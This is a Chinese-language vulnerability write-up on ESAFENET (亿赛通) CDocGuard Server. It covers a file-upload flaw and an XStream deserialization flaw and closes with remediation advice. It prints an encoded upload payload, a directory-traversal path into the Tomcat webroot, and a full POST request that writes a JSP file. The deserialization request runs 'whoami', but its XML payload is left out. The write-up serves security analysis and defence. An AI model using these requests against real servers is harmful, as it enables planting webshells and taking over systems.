亿赛通漏洞浅析
字数 1013 2025-08-24 10:10:13
亿赛通漏洞分析与利用教学文档
1. 文件上传漏洞分析
1.1 漏洞发现
在亿赛通安装包的web.xml文件中搜索upload相关的servlet,发现UploadFileFromClientServiceForClient存在文件上传漏洞。
1.2 漏洞代码分析
- 存在文件写入操作,关键点在于文件名是否可控以及文件后缀限制
fileName获取流程:- 遍历
var12数组,查找以fileName开头的元素 - 取
=号后面的值作为文件名(如构造fileName=1.jsp即可使fileName为1.jsp)
- 遍历
var12数组由value_decode字符串通过&字符分割得到value_decode经过CDGUtil.decode与substring处理- 原始输入来自
req.getQueryString()获取的查询字符串
1.3 漏洞利用
-
构造payload:
?a=ODJNOLIDLOLPEJHCOIFJJDIJOLLFJLDEODJNOLIDLOLPEJHCOIFJJDIJOLLFJLDE是fileName=1.jsp&1经过CDGUtil.encode加密的结果
-
文件默认写入路径:
C:\fileDB\uploaded\store -
目录穿越上传到web目录:
../../../Program Files (x86)/ESAFENET/CDocGuard Server/tomcat64/webapps/ROOT/1.jsp -
完整利用payload示例:
POST /CDGServer3/UploadFileFromClientServiceForClient?a=AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJCGBIFBGJGJBMCM HTTP/1.1 Host: 192.168.37.130:8443 Connection: close Content-Length: 26 <%out.println("123213");%>
2. XStream反序列化漏洞分析
2.1 漏洞背景
亿赛通使用了存在漏洞的XStream 1.4.9组件。
2.2 漏洞位置
GetValidateLoginUserService中调用了XStream组件,fromXML方法会反序列化XML格式内容,且未对输入做校验。
2.3 漏洞利用要点
- 传入的XML内容会经过解密处理,需要先用
CDGUtil.encode进行加密 - 构造恶意XML payload进行反序列化攻击
2.4 利用示例
POST /CDGServer3/xxxxxxxxxxxx HTTP/1.1
Host: 192.168.37.130:8443
Connection: close
ttt: whoami
Content-Length: 29724
[恶意XML payload]
3. 总结与防御建议
3.1 漏洞总结
-
文件上传漏洞:
- 未对文件名进行有效过滤
- 允许目录穿越
- 文件内容未做安全检查
-
XStream反序列化漏洞:
- 使用存在漏洞的XStream版本
- 未对反序列化输入做校验
3.2 防御建议
-
文件上传漏洞修复:
- 限制上传文件类型
- 禁止目录穿越
- 对上传内容进行安全检查
- 将上传文件存储在非web可访问目录
-
XStream反序列化漏洞修复:
- 升级XStream到安全版本
- 实现输入校验机制
- 使用白名单限制可反序列化的类
-
通用安全建议:
- 定期进行安全审计
- 实施最小权限原则
- 对用户输入进行严格验证和过滤